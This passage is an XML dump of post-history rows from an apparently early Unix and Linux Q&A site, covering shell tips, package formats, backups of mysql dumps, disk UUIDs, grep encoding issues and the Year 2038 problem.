  <row Id="1194" PostHistoryTypeId="2" PostId="641" RevisionGUID="b8a24d52-e192-4028-bdf3-46ba9b202344" CreationDate="2010-08-18T01:53:51.137" UserId="506" Text="I prefix a few scripts that are in this boat thus:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    [ &quot;root&quot; != &quot;$USER&quot; ] &amp;&amp; exec sudo $0 &quot;$@&quot;" />
  <row Id="1196" PostHistoryTypeId="2" PostId="643" RevisionGUID="9a477e11-7c32-4c7f-a906-332f4af4316c" CreationDate="2010-08-18T01:55:43.533" UserId="505" Text="Use the -print0 option to find and the -0 option to xargs if you have file or directory names with spaces:&#xD;&#xA;&#xD;&#xA;    find {dir} -print0 | xargs -0r {command}&#xD;&#xA;&#xD;&#xA;The -print0 option to find prints out the filenames as a NUL-separated rather than whitespace separated list, while the -0 option to xargs instructs it to break its input on NUL rather than whitespace.  Since NUL is one of the characters that is not allowed in Unix filenames, there is no way for it to be mistaken for part of a filename.&#xD;&#xA;&#xD;&#xA;The -r option is there so that xargs won't give you an error if it has no input.&#xD;&#xA;" />
  <row Id="1197" PostHistoryTypeId="6" PostId="627" RevisionGUID="6b9dbfc5-67de-4e4a-b436-f95aa91eba59" CreationDate="2010-08-18T01:57:40.533" UserId="160" Comment="Added tags" Text="éfreebsdàéportsàémakeà" />
  <row Id="1198" PostHistoryTypeId="5" PostId="640" RevisionGUID="8a0e06df-9c47-45e8-82ea-a4100888a97e" CreationDate="2010-08-18T01:58:21.127" UserId="506" Comment="added 74 characters in body" Text="The `{}` syntax is Bash syntax not tied to the `for` construct.&#xD;&#xA;&#xD;&#xA;    mkdir {A..Z}&#xD;&#xA;&#xD;&#xA;is sufficient all by itself.&#xD;&#xA;&#xD;&#xA;&lt;http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion&gt;" />
  <row Id="1199" PostHistoryTypeId="2" PostId="644" RevisionGUID="1cf11f71-d461-44c8-9496-a250ca885e89" CreationDate="2010-08-18T02:01:19.217" UserId="506" Text="Puppet and Chef are &quot;pull&quot; systems and I've found that a complementary &quot;push&quot; system implemented using Capistrano, Fabric, or `ssh`(1) in a `for`-loop is necessary.  Of course, that means public keys in place for authentication, too; fortunately, those can be managed by Puppet or Chef." />
  <row Id="1202" PostHistoryTypeId="2" PostId="646" RevisionGUID="434275c5-a049-4427-b2fd-90edbc86c655" CreationDate="2010-08-18T02:05:28.910" UserId="506" Text="Historically, my impression has always been that the Debian archive was the `*.deb` format's biggest strength.  Since the advent of `yum`, that's less true, if it's true at all." />
  <row Id="1203" PostHistoryTypeId="2" PostId="647" RevisionGUID="142cb3a7-ad15-4c86-943f-718e8d22571a" CreationDate="2010-08-18T02:12:13.930" UserId="394" Text="At work we do a nightly dump of our mysql databases. From day to day, I would guestimate that close to 90-95% of the data is duplicate, increasing as time goes on. ( Heck at this point some are probably 99% )&#xD;&#xA;&#xD;&#xA;These dumps are where one line is a single mysql INSERT statement, so the only differences are whole lines, and the order in which they're in in the file. If I got them sorted, the actual difference from file to file would be very small. &#xD;&#xA;&#xD;&#xA;I've been looking, and I haven't found any way to sort the output on dump. I could pipe it through the `sort` command, though. Then there would be long, long blocks of identical lines. &#xD;&#xA;&#xD;&#xA;So I'm trying to figure a way to store only the diffs. I could start with a master dump, and diff against that each night. But the diffs would be larger each night. Or, I could make rolling diffs, which individually would be very small, but seems like it would take longer and longer to compute, if I have to put together a master diff of the whole series each night. &#xD;&#xA;&#xD;&#xA;Is this feasible? With what tools?" />
  <row Id="1204" PostHistoryTypeId="1" PostId="647" RevisionGUID="142cb3a7-ad15-4c86-943f-718e8d22571a" CreationDate="2010-08-18T02:12:13.930" UserId="394" Text="rolling diffs for backup of mysql dumps?" />
  <row Id="1205" PostHistoryTypeId="3" PostId="647" RevisionGUID="142cb3a7-ad15-4c86-943f-718e8d22571a" CreationDate="2010-08-18T02:12:13.930" UserId="394" Text="écommandölineàéshellà" />
  <row Id="1211" PostHistoryTypeId="2" PostId="650" RevisionGUID="2482be62-1fe2-49a1-94a6-9ed840be3c14" CreationDate="2010-08-18T02:24:26.867" UserId="506" Text="(I have not done this in production.)&#xD;&#xA;&#xD;&#xA;Do a full backup once per day or week.  Backup relay logs once per hour or day." />
  <row Id="1214" PostHistoryTypeId="2" PostId="652" RevisionGUID="47843468-53a0-4dc2-8eba-b0021436aa81" CreationDate="2010-08-18T02:30:55.307" UserId="493" Text="One thing I like about RPMs is the (recent?) addition of delta RPMs. This allows for easier updating, reducing bandwidth required.&#xD;&#xA;&#xD;&#xA;DEBs are standard ar files (with more standard archives inside), RPMs are &quot;proprietary&quot; binary files. I personally think the former is more convenient.&#xD;&#xA;&#xD;&#xA;Just two things I can think off the top of my head. Both are very comparable. Both have excellent tools for packaging. I don't think there are so many merits for one over the other or vice versa." />
  <row Id="1215" PostHistoryTypeId="2" PostId="653" RevisionGUID="ded14e78-673e-49bb-b084-edfa2a3d9753" CreationDate="2010-08-18T02:32:36.473" UserId="516" Text="&#xD;&#xA;Some things you should consider checking:&#xD;&#xA;&#xD;&#xA; 1. Duplex -- if one side thinks the link is full duplex and the other side thinks the link is half duplex, expect badness.&#xD;&#xA; 2. Defective switch?  Bypass it/them.&#xD;&#xA; 3. Jumbo frames.  9000 byte MTU decreases overhead, which should increase throughput (forfeiting a little latency).  It sounds like your problem is so bad that this won't help, though.&#xD;&#xA; 4. TCP features: ECN, SACK, congestion control alg&#xD;&#xA; 5. TCP Send/Receive window sizes ([details for linux][1])&#xD;&#xA;&#xD;&#xA;netperf is great at troubleshooting network performance.  But netcat's not bad in a pinch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fasterdata.es.net/TCP-tuning/linux.html" />
  <row Id="1216" PostHistoryTypeId="2" PostId="654" RevisionGUID="7104a25a-db3c-47f7-84ba-44e80c361ffa" CreationDate="2010-08-18T02:34:40.617" UserId="305" Text="RPM:&#xD;&#xA;&#xD;&#xA; - 'Standarized' (not there is no deb spec)&#xD;&#xA; - Used by many different distributions (but packages from one does not necessary works on another)&#xD;&#xA; - IIRC allows dependency on files not only packages&#xD;&#xA;&#xD;&#xA;DEB:&#xD;&#xA;&#xD;&#xA; - Growing popularity&#xD;&#xA; - Allows recomendations and suggestions (possibly newer RPM allows it as well)&#xD;&#xA;&#xD;&#xA;Probably the more important question is the package manager (dpkg vs. yum vs. apitude etc.) then package format (as both are comparable)." />
  <row Id="1217" PostHistoryTypeId="5" PostId="604" RevisionGUID="9602c8c9-405e-43d0-ae96-0feea7b2a8af" CreationDate="2010-08-18T02:40:07.420" UserId="446" Comment="formatting" Text="When I do `more filename` and `less filename`, it would seem that the resulting terminals are quite similar. I can navigate and search through my files identically (&lt;kbd&gt;j&lt;/kbd&gt;, &lt;kbd&gt;Space&lt;/kbd&gt;, `/pattern`, etc.).&#xD;&#xA;&#xD;&#xA;I find it hard to believe that `less` is `more` and vice versa. Are there any differences between the two?" />
  <row Id="1218" PostHistoryTypeId="2" PostId="655" RevisionGUID="e28595c6-29dc-4eb5-895c-63c00fa388de" CreationDate="2010-08-18T02:55:00.397" UserId="357" Text="Debian packages can include an [installed size][1], but I don't believe RPMs have an equivalent field.  It can be computed based on files included in the package, but also can't be relied upon because of actions that can be taken in the pre/post install scripts.&#xD;&#xA;&#xD;&#xA;Here is a pretty good reference for comparison of some specific features that are available for each specific packaging format: http://debian-br.sourceforge.net/txt/alien.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/debian-policy/ch-controlfields.html#s-f-Installed-Size" />
  <row Id="1219" PostHistoryTypeId="2" PostId="656" RevisionGUID="34d3f9da-3b0e-446d-aca5-850891b8befa" CreationDate="2010-08-18T03:07:58.417" UserId="185" Text="less is a lot more than more, for instance you have a lot more functionality,&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;g: go top of the file&#xD;&#xA;G: go bottom of the file&#xD;&#xA;/: search forward&#xD;&#xA;?: search backward&#xD;&#xA;N: show line number&#xD;&#xA;&lt;n&gt;: goto line&#xD;&#xA;F: similar to tail -f, stop with ctrl+c&#xD;&#xA;S: split lines&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;And I don't remember more ;-)" />
  <row Id="1220" PostHistoryTypeId="2" PostId="657" RevisionGUID="ce72d064-8b4a-4523-81ab-1c6d6d4c0abc" CreationDate="2010-08-18T04:09:10.563" UserDisplayName="Kevin Cantu" Text="The key may be to realize that the X server is a single thing which provides graphics to a user, and all the different programs which want graphics have to be X clients and connect to a server.  The interface between client programs and the X server was designed from the start to support connections with remote programs, not just those on the local machine.&#xD;&#xA;&#xD;&#xA;In a crazy enough network, a program could be run anywhere and display its graphics anywhere else...  " />
  <row Id="1221" PostHistoryTypeId="2" PostId="658" RevisionGUID="32dd1cb7-7369-403b-9f10-79c497311e24" CreationDate="2010-08-18T04:14:48.813" UserId="4" Text="My `/etc/fstab` contains this:&#xD;&#xA;&#xD;&#xA;    # / was on /dev/sda1 during installation&#xD;&#xA;    UUID=77d8da74-a690-481a-86d5-9beab5a8e842 /               ext4    errors=remount-ro 0       1&#xD;&#xA;&#xD;&#xA;There are several other disks on this system, and not all disks are being mounted to the correct location (For example, /dev/sda1 and /dev/sdb1 are sometimes reversed).&#xD;&#xA;&#xD;&#xA;How can I see the UUIDs for all disks on my system? Can I see the UUID for the third disk on this system?" />
  <row Id="1222" PostHistoryTypeId="1" PostId="658" RevisionGUID="32dd1cb7-7369-403b-9f10-79c497311e24" CreationDate="2010-08-18T04:14:48.813" UserId="4" Text="linux:: How can I view all UUIDs for all available disks on my system?" />
  <row Id="1223" PostHistoryTypeId="3" PostId="658" RevisionGUID="32dd1cb7-7369-403b-9f10-79c497311e24" CreationDate="2010-08-18T04:14:48.813" UserId="4" Text="élinuxàéstorageà" />
  <row Id="1224" PostHistoryTypeId="2" PostId="659" RevisionGUID="e46975f7-b53c-49bf-9a00-567d9e36b028" CreationDate="2010-08-18T04:26:27.263" UserId="524" Text="There's a tool called blkid, &#xD;&#xA;&#xD;&#xA;    $ blkid /dev/sda1&#xD;&#xA;    /dev/sda1: LABEL=&quot;/&quot; UUID=&quot;ee7cf0a0-1922-401b-a1ae-6ec9261484c0&quot; SEC_TYPE=&quot;ext2&quot; TYPE=&quot;ext3&quot;&#xD;&#xA;&#xD;&#xA;you can check this link for more info&#xD;&#xA;&#xD;&#xA;http://liquidat.wordpress.com/2007/10/15/short-tip-get-uuid-of-hard-disks/&#xD;&#xA;" />
  <row Id="1225" PostHistoryTypeId="2" PostId="660" RevisionGUID="6602716f-60d2-430a-b3b7-1ce4772a1c2a" CreationDate="2010-08-18T04:29:40.100" UserId="73" Text="In `/dev/disk/by-uuid` there are symlinks mapping each drive's UUID to its entry in `/dev` (e.g. `/dev/sda1`)" />
  <row Id="1226" PostHistoryTypeId="5" PostId="201" RevisionGUID="33aea0c6-e5be-4ba7-b1ff-bb7adaa51084" CreationDate="2010-08-18T05:04:05.343" UserId="224" Comment="deleted 4 characters in body" Text="Windows and *ix used different data models for the transition.  This UNIX.org [page](http://www.unix.org/version2/whatsnew/lp64_wp.html) is a bit old, but it still provides a good overview of the trade-offs (note that `long long` was later added to C99, and was required to be at least 64-bit).  You can also see a [Wikipedia article][1] on the same topic.  As advocated at the end of the UNIX.org article, most UNIX-like systems have gone with LP64, which means `long`, `long long`, and pointers are all 64-bit.&#xD;&#xA;&#xD;&#xA;Windows went with what's called the LLP64 data model, which means that only `long long` and pointers are 64-bit.  `long` remains 32-bit.  Part of the reason was simply that they didn't want to go through and fix broken code that assumed `long` fit in an `int`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/64-bit#64-bit_data_models" />
  <row Id="1227" PostHistoryTypeId="2" PostId="661" RevisionGUID="5c226ace-eacf-4b0c-90af-fb6d7f10ab85" CreationDate="2010-08-18T05:09:38.157" UserDisplayName="Kevin Cantu" Text="In prior MacOS versions, the lifting was done by QuickDraw; in OS X, that has been superseded by Cocoa... &#xD;&#xA;&#xD;&#xA;It doesn't simply parallel X11 though.  For example, X11 doesn't include audio, but Cocoa does." />
  <row Id="1228" PostHistoryTypeId="2" PostId="662" RevisionGUID="17bf0edc-2142-470b-8ca6-0bdea932bef2" CreationDate="2010-08-18T05:27:06.820" UserDisplayName="Kevin Cantu" Text="Find a book or a manual and treat your chosen shell like a programming language, because it is.  (Well, maybe not csh...)&#xD;&#xA;&#xD;&#xA;For starters, learn how to figure out if you're in a Bash shell, Bourne shell, csh, zsh, or whatever.  Some of these are similar to eachother like C and C++ -- deceptively different -- so knowing which one you're fighting with will help you find examples and manuals that actually will help in a given situation." />
  <row Id="1229" PostHistoryTypeId="2" PostId="663" RevisionGUID="30c55037-bb52-4308-a2f3-5a745356694c" CreationDate="2010-08-18T06:07:02.940" UserDisplayName="Kevin Cantu" Text="Make sure the version of the command you're using doesn't already have a flag for recursive operation.  :)" />
  <row Id="1230" PostHistoryTypeId="2" PostId="664" RevisionGUID="5f2c0299-42bc-4e4a-bc4e-3c20d8bd4b92" CreationDate="2010-08-18T06:24:29.190" UserId="252" Text="You could do something like this (with `a.sql` as your weekly backup).&#xD;&#xA;&#xD;&#xA;    mysqldump &gt; b.sql&#xD;&#xA;    diff a.sql b.sql &gt; a1.diff&#xD;&#xA;    scp a1.diff backupserver:~/backup/&#xD;&#xA;&#xD;&#xA;Your diff files will become larger by the end of the week.&#xD;&#xA;&#xD;&#xA;My suggestion though is just gzip it (use `gzip -9` for maximum compression). We do this at the moment and that gives use a 59MB gz-file while the original is 639MB." />
  <row Id="1231" PostHistoryTypeId="2" PostId="665" RevisionGUID="8150049b-4df8-4a40-96cf-84df28270c8d" CreationDate="2010-08-18T06:52:08.607" UserId="250" Text="[MultiBootISOs][1] is a tool that let you install Grub on a USB flash drive. I really like it because it lets me boot from ISO files and let me put a bunch of ISOs on my USB and choose which one to boot.&#xD;&#xA;&#xD;&#xA;The problem is, this is a Windows tool, and I don't know how to do it through the command lines. I would also like to know how to install Grub (2) this way, Grub Legacy seems to be easier...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/boot-multiple-iso-from-usb-multiboot-usb/" />
  <row Id="1232" PostHistoryTypeId="1" PostId="665" RevisionGUID="8150049b-4df8-4a40-96cf-84df28270c8d" CreationDate="2010-08-18T06:52:08.607" UserId="250" Text="Installing Grub (2) on a USB flash drive" />
  <row Id="1233" PostHistoryTypeId="3" PostId="665" RevisionGUID="8150049b-4df8-4a40-96cf-84df28270c8d" CreationDate="2010-08-18T06:52:08.607" UserId="250" Text="égrubàéusbàébootöloaderàédualöbootàéisoà" />
  <row Id="1234" PostHistoryTypeId="2" PostId="666" RevisionGUID="e0e9eb39-99fe-489b-885b-43331e5e3544" CreationDate="2010-08-18T07:10:27.893" UserId="544" Text="What is the likelyhood of [the Year 2038 issue][1] being very problematic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Year_2038_problem" />
  <row Id="1235" PostHistoryTypeId="1" PostId="666" RevisionGUID="e0e9eb39-99fe-489b-885b-43331e5e3544" CreationDate="2010-08-18T07:10:27.893" UserId="544" Text="Year 2038 problem" />
  <row Id="1236" PostHistoryTypeId="3" PostId="666" RevisionGUID="e0e9eb39-99fe-489b-885b-43331e5e3544" CreationDate="2010-08-18T07:10:27.893" UserId="544" Text="éunixà" />
  <row Id="1237" PostHistoryTypeId="2" PostId="667" RevisionGUID="90c2b92f-afb8-499e-880a-db1ad9dbbc70" CreationDate="2010-08-18T07:10:44.350" UserId="541" Text="1. try &quot;netstat -i&quot; and look for rx/tx errors&#xD;&#xA;2. try &quot;netstat -s&quot; and look for tcp issues - compare values before and after the file copy and look for large spikes in resets or retransmits&#xD;&#xA;" />
  <row Id="1238" PostHistoryTypeId="2" PostId="668" RevisionGUID="15317412-c973-40a6-b083-e6fa0e2a8a4c" CreationDate="2010-08-18T07:24:13.693" UserId="381" Text="This is my opinion, but this problem is due to a 32 bit counter problem, today most os are updated to handle time on 64 bit (at least on 64 bit computers), so I guess that all OS and software will be ready a long time before 2038, let's say 2010. So you might only have problems if in 2038 you will still be running software from 2020.&lt;br /&gt;&#xD;&#xA;It likely not be a problem in almost all case. I hope." />
  <row Id="1239" PostHistoryTypeId="2" PostId="669" RevisionGUID="42256699-1d11-4aa5-9a63-133270b8a5ac" CreationDate="2010-08-18T07:37:06.830" UserId="90" Text="I would like to boot an Intel Mac from Linux on an external USB drive. Right now, I have install rEFIt and use grub on the internal hard disc to boot the external drive. That seems pretty complicated. Isn't there an easier way?&#xD;&#xA;&#xD;&#xA;In particular one that does not involved installing anything on the internal drive?" />
  <row Id="1240" PostHistoryTypeId="1" PostId="669" RevisionGUID="42256699-1d11-4aa5-9a63-133270b8a5ac" CreationDate="2010-08-18T07:37:06.830" UserId="90" Text="What is the easiest way to boot Linux from a USB drive on Intel Mac?" />
  <row Id="1241" PostHistoryTypeId="3" PostId="669" RevisionGUID="42256699-1d11-4aa5-9a63-133270b8a5ac" CreationDate="2010-08-18T07:37:06.830" UserId="90" Text="ébootàéusbà" />
  <row Id="1242" PostHistoryTypeId="2" PostId="670" RevisionGUID="477dc875-c5fd-4d59-8956-d682f63a1ff9" CreationDate="2010-08-18T08:19:37.070" UserId="210" Text="I have encountered this problem in an embedded Linux system that needed to handle dates past 2038 in some long-term cryptographic certificates, so I'd say the likehood of this depends on your application domain.&#xD;&#xA;&#xD;&#xA;While most system should be ready well before 2038, if you find yourself today calculating dates far into the future, you may have a problem." />
  <row Id="1243" PostHistoryTypeId="2" PostId="671" RevisionGUID="3d401838-be64-448c-98a2-80b2e799067c" CreationDate="2010-08-18T08:52:17.010" UserId="125" Text="[Alien][1] is good in some cases, i.e. you want to install a package fast and there is only a DEB or RPM for that package. &#xD;&#xA;&#xD;&#xA;From my experience Alien is not reliable for deploying a package. i.e. you created a RPM package for you project, and you now want to create a DEB package as well, and not wanting to waste time learning how deb packaging works. (it might work well but it has limitations, it depends on what package you throw at it)&#xD;&#xA;&#xD;&#xA;**What I recommend**:&#xD;&#xA;If you want to build packages for multiple Linux distributions and multiple architectures the way to go is to use [openSUSE Build Service(OBS)][2] &#xD;&#xA;&#xD;&#xA;It's philosophy is: &quot;Maintain sources once, offer binaries for *any* platform&quot;. For an overview on what you can do with it watch http://www.youtube.com/watch?v=pjOUX0WFkkk , also see [OBS Build Tutorial][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/alien&#xD;&#xA;  [2]: https://build.opensuse.org&#xD;&#xA;  [3]: http://en.opensuse.org//openSUSE:Build_Service_Tutorial" />
  <row Id="1244" PostHistoryTypeId="2" PostId="672" RevisionGUID="74bf381f-0b1d-4ffa-8147-dab4d582ddab" CreationDate="2010-08-18T10:10:53.860" UserDisplayName="paolo granada lim" Text="Hi!&#xD;&#xA;&#xD;&#xA;When I tried searching for a string within a file, the results didn't include those that were enclosed in single quotes.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    grep -rn text folder/&#xD;&#xA;&#xD;&#xA;The results didn't include strings the looked like this:&#xD;&#xA;&#xD;&#xA;    'text'&#xD;&#xA;&#xD;&#xA;Care to tell me what I'm doing wrong? Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1245" PostHistoryTypeId="1" PostId="672" RevisionGUID="74bf381f-0b1d-4ffa-8147-dab4d582ddab" CreationDate="2010-08-18T10:10:53.860" UserDisplayName="paolo granada lim" Text="strings enclosed in '' are ignored when using grep" />
  <row Id="1246" PostHistoryTypeId="3" PostId="672" RevisionGUID="74bf381f-0b1d-4ffa-8147-dab4d582ddab" CreationDate="2010-08-18T10:10:53.860" UserDisplayName="paolo granada lim" Text="égrepà" />
  <row Id="1247" PostHistoryTypeId="2" PostId="673" RevisionGUID="0bfe543c-d3bc-4371-addc-0705e30c3284" CreationDate="2010-08-18T10:20:59.793" UserId="80" Text="A 64 bit OS is ultimately irrelevant to the 2037 problem.  (CTIME runs out closer to 2037 than 2038).&#xD;&#xA;&#xD;&#xA;The question is not the bit depth of the OS, rather how does the OS store time.  Or how does the database column choose to store time.  Or how does this directory services time syntax attribute store time at the back end. &#xD;&#xA;&#xD;&#xA;This is a much bigger problem than people think, since it is so endemic and common to have used 32 bit time counters.  &#xD;&#xA;&#xD;&#xA;Each instance that stores time needs to be revisited, and all API's updated, and all tools that use it updated as well.  &#xD;&#xA;&#xD;&#xA;Abstraction layers that let you set time via a human readable time format, instead of the raw data written out make it easier, but that is only one case.  &#xD;&#xA;&#xD;&#xA;I suspect this is going to be a much bigger deal than most people think." />
  <row Id="1248" PostHistoryTypeId="5" PostId="672" RevisionGUID="ee48e06f-f2aa-484a-9821-246fcbc8ab86" CreationDate="2010-08-18T11:04:55.670" UserDisplayName="paolo granada lim" Comment="added 159 characters in body" Text="Hi!&#xD;&#xA;&#xD;&#xA;When I tried searching for a string within a file, the results didn't include those that were enclosed in single quotes.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    grep -rn text folder/&#xD;&#xA;&#xD;&#xA;The results didn't include strings the looked like this:&#xD;&#xA;&#xD;&#xA;    'text'&#xD;&#xA;&#xD;&#xA;Care to tell me what I'm doing wrong? Thanks!&#xD;&#xA;&#xD;&#xA;UPDATE: i just tested it with a new file and it worked! it looks like it only happened in one particular file (a ruby file). maybe its concerned with encoding?" />
  <row Id="1249" PostHistoryTypeId="2" PostId="674" RevisionGUID="994d92e9-0c7b-478a-bfb0-d3e651d5c616" CreationDate="2010-08-18T11:22:34.703" UserId="125" Text="&gt; Using Diskutil&#xD;&#xA;&gt; &#xD;&#xA;&gt;    1. Download the desired .img file&#xD;&#xA;&gt;    2. Open a Terminal&#xD;&#xA;&gt;    3. Run diskutil list to get the current list of devices&#xD;&#xA;&gt;    4. Insert your flash media&#xD;&#xA;&gt;    5. Run diskutil list again and determine the device node assigned to your flash media (e.g. /dev/disk2)&#xD;&#xA;&gt;    6. Run diskutil unmountDisk /dev/diskN&#xD;&#xA;&gt;    7. Execute sudo dd if=/path/to/downloaded.img of=/dev/diskN bs=1m&#xD;&#xA;&gt;    8. Run diskutil eject /dev/diskN and remove your flash media when the command completes&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1250" PostHistoryTypeId="2" PostId="675" RevisionGUID="ddf1ffd0-ae94-4024-8348-d7d8e589fcb7" CreationDate="2010-08-18T11:22:57.777" UserId="568" Text="I think this is going to be a significant problem, much more pernicious than the Y2K issues of 1999/2000 because the affected code is generally lower-level (it's CTIME) and so it's harder to spot places where time is being stored that way.&#xD;&#xA;&#xD;&#xA;To complicate matters further, the fact that Y2K was perceived to be a damp squib will make it harder to draw attention to the problem in the runup to the event.&#xD;&#xA;&#xD;&#xA;Cultural references:&#xD;&#xA;&#xD;&#xA;Cory Doctorow was trying out a new model for short story commisioning / publishing under open licenses, and I suggested a 2038 theme o one of them, which he did brilliantly in Epoch: http://craphound.com/?p=2337" />
  <row Id="1251" PostHistoryTypeId="2" PostId="676" RevisionGUID="5f419e2e-1ffe-472b-9c67-9949ac0f55cb" CreationDate="2010-08-18T11:28:22.747" UserId="568" Text="It's worth trying, if you have no other starting point. When it works, it works well. But if you think there will be other people who would benefit from the package, it's worth investing the effort to publish a native one." />
  <row Id="1252" PostHistoryTypeId="2" PostId="677" RevisionGUID="03a5e1c2-a911-4c67-b868-4de0cc542618" CreationDate="2010-08-18T11:29:32.040" UserId="305" Text="I tried to use vim on FreeBSD (via ssh on Linux xterm-compatible terminal). However vim behaves similar to vi out-of-box. For example it does not react on delete key, insert F character instead of going up while on insert mode etc.&#xD;&#xA;&#xD;&#xA;On FreeBSD X11 is not installed." />
  <row Id="1253" PostHistoryTypeId="1" PostId="677" RevisionGUID="03a5e1c2-a911-4c67-b868-4de0cc542618" CreationDate="2010-08-18T11:29:32.040" UserId="305" Text="vim on FreeBSD does not react on arrow keys correctly and other vi-like behaviours " />
  <row Id="1254" PostHistoryTypeId="3" PostId="677" RevisionGUID="03a5e1c2-a911-4c67-b868-4de0cc542618" CreationDate="2010-08-18T11:29:32.040" UserId="305" Text="élinuxàéfreebsdàévimàéxtermöterminalà" />
  <row Id="1255" PostHistoryTypeId="2" PostId="678" RevisionGUID="a4c0d1b5-1958-4ad7-b37b-72c8ba5a1194" CreationDate="2010-08-18T11:33:16.043" UserId="138" Text="There's a good chance you're running into some character coding issue. The file you're trying to grep could be in a different character encoding than your system's default encoding. Unixy systems typically default to UTF-8 these days, which is compatible with 7-bit ASCII, but not with any of the the 8-bit ASCII extensions.  Common 8-bit encodings in the US are &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO/IEC_8859-1&quot;&gt;ISO 8859-1&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Windows-1252&quot;&gt;Windows CP-1252&lt;/a&gt;.  There are dozens more used in the rest of the world.&#xD;&#xA;&#xD;&#xA;`grep` assumes all input is in your default system encoding.  To `grep` a file in a different encoding, use `iconv` to convert it first:&#xD;&#xA;&#xD;&#xA;    $ iconv -f iso8859-1 -t utf8 myfile.txt &gt; myfile-utf8.txt&#xD;&#xA;    $ grep something myfile-utf8.txt&#xD;&#xA;&#xD;&#xA;I realize this is highly inconvenient for your recursive example, but the broader lesson is that if that fixes the problem, you should convert all the text files in that directory tree so they're compatible with your system character encoding.  If you need Windows text editor compatibility, don't worry, most Windows text editors that focus on code editing cope with UTF-8, even though Windows uses UTF-16 natively these days.&#xD;&#xA;&#xD;&#xA;Another possibility is that your file uses curly quotes.  The quotes you type on your keyboard are straight quotes -- ASCII 39 -- but some word processors and text editors replace them with curly quotes, or &lt;a href=&quot;http://www.fileformat.info/info/unicode/char/2019/&quot;&gt;U+2019&lt;/a&gt; in this example.&#xD;&#xA;&#xD;&#xA;I like to use this command for poking through a file to investigate character coding issues:&#xD;&#xA;&#xD;&#xA;    $ od -t x1 &lt; myfile.txt | less&#xD;&#xA;&#xD;&#xA;There are various &quot;hexdump&quot; programs available, but they often do unhelpful things like display as 16-bit words in little-endian format.  This only works well for short files, however, so I often cut down the example to something easy to test first." />
  <row Id="1256" PostHistoryTypeId="2" PostId="679" RevisionGUID="de49105b-25c8-46eb-b60a-6bf09d07f940" CreationDate="2010-08-18T11:35:11.063" UserId="138" Text="Are you typing &quot;vim&quot;, or assuming that typing &quot;vi&quot; runs Vim?  On FreeBSD, the command &quot;vi&quot; is likely to get you &lt;a href=&quot;http://bostic.com/vi/&quot;&gt;nvi&lt;/a&gt;." />
  <row Id="1257" PostHistoryTypeId="2" PostId="680" RevisionGUID="a5a0f43b-3a15-4ef3-a6f9-cfeb9f2d8031" CreationDate="2010-08-18T11:36:39.613" UserId="138" Text="A few years ago, there were reports of problems already, in areas like mortgage programs doing calculations on 30-year loans: 2008 + 30 = 2038." />
  <row Id="1258" PostHistoryTypeId="2" PostId="681" RevisionGUID="86dba15b-34f2-4844-a17f-fdc1b82f5359" CreationDate="2010-08-18T11:39:18.640" UserId="568" Text="The roadmap for btrfs in Ubuntu is to have it as the default filesystem by 12.04 LTS. The likely cutover to default will be 11.04, other distributions may have more or less aggressive plans, but watching them is your best cue to the perceived stability and reliability and performance of the code." />
  <row Id="1259" PostHistoryTypeId="5" PostId="670" RevisionGUID="e944e3d0-ae8d-481e-b665-59043300396f" CreationDate="2010-08-18T11:41:15.547" UserId="210" Comment="added 1 characters in body" Text="I have encountered this problem in an embedded Linux system that needed to handle dates past 2038 in some long-term cryptographic certificates, so I'd say the likehood of this depends on your application domain.&#xD;&#xA;&#xD;&#xA;While most systems should be ready well before 2038, if you find yourself today calculating dates far into the future, you may have a problem." />
  <row Id="1260" PostHistoryTypeId="2" PostId="682" RevisionGUID="34319ee7-bcb0-491b-858e-093cc83534ae" CreationDate="2010-08-18T11:48:14.397" UserId="570" Text="I would like to know how the OS works in a 'nutshell':&#xD;&#xA;&#xD;&#xA; - What basic components it's build upon&#xD;&#xA; - How those components work together&#xD;&#xA; - What makes unix UNIX?&#xD;&#xA; - What makes it so different from other OSs like Windows?&#xD;&#xA;" />
  <row Id="1261" PostHistoryTypeId="1" PostId="682" RevisionGUID="34319ee7-bcb0-491b-858e-093cc83534ae" CreationDate="2010-08-18T11:48:14.397" UserId="570" Text="How does a unix or linux system work?" />
  <row Id="1262" PostHistoryTypeId="3" PostId="682" RevisionGUID="34319ee7-bcb0-491b-858e-093cc83534ae" CreationDate="2010-08-18T11:48:14.397" UserId="570" Text="éunixà" />
  <row Id="1263" PostHistoryTypeId="5" PostId="671" RevisionGUID="c60efb56-dbf9-41d3-b82e-50b67b772b46" CreationDate="2010-08-18T11:57:44.283" UserId="125" Comment="added 12 characters in body; added 2 characters in body; added 24 characters in body" Text="[Alien][1] is good in some cases, i.e. you want to install a package fast and there is only a DEB or RPM for that package. &#xD;&#xA;&#xD;&#xA;From my experience Alien is not reliable for deploying a package in a distro. i.e. you created a RPM package from your project, and you now want to create a DEB package as well, and not wanting to spend time learning how deb packaging works. And you just use Alien. (it might work well but it has limitations, it depends on what package you throw at it)&#xD;&#xA;&#xD;&#xA;**What I recommend**:&#xD;&#xA;If you want to build packages for multiple Linux distributions and multiple architectures the way to go is to use [openSUSE Build Service(OBS)][2] &#xD;&#xA;&#xD;&#xA;It's philosophy is: &quot;Maintain sources once, offer binaries for *any* platform&quot;. For an overview on what you can do with it watch http://www.youtube.com/watch?v=pjOUX0WFkkk , also see [OBS Build Tutorial][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/alien&#xD;&#xA;  [2]: https://build.opensuse.org&#xD;&#xA;  [3]: 